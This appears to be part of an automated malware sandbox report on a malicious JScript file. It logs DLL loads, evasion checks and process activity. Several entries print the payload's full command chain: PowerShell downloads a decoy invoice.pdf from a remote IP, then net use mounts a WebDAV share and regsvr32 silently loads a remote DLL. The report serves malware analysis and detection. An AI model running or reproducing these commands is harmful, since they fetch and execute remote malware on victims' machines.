Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\6103.js.csv");ITextStream.WriteLine(" entry:8423 f:vsddai");ITextStream.WriteLine(" exec:2 f:vsddai");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4805			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5071			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5544	Thread sleep count: 4805 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5544	Thread sleep count: 5071 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6580	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6044	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 4284	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 3156	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000006.00000002.1899530280.000001E7F3D6B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1898490494.000001E7F3D6B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1898635918.000001E7F3D6B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWJ+
Source: svchost.exe, 0000000A.00000002.3127442328.0000023867C2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: net.exe, 00000006.00000002.1899530280.000001E7F3D6B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1898490494.000001E7F3D6B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1898635918.000001E7F3D6B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.3127442328.0000023867C2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.3128840136.000002386D254000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000006.00000002.1898993505.000001E7F3D08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15378279832653.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15378279832653.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15378279832653.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
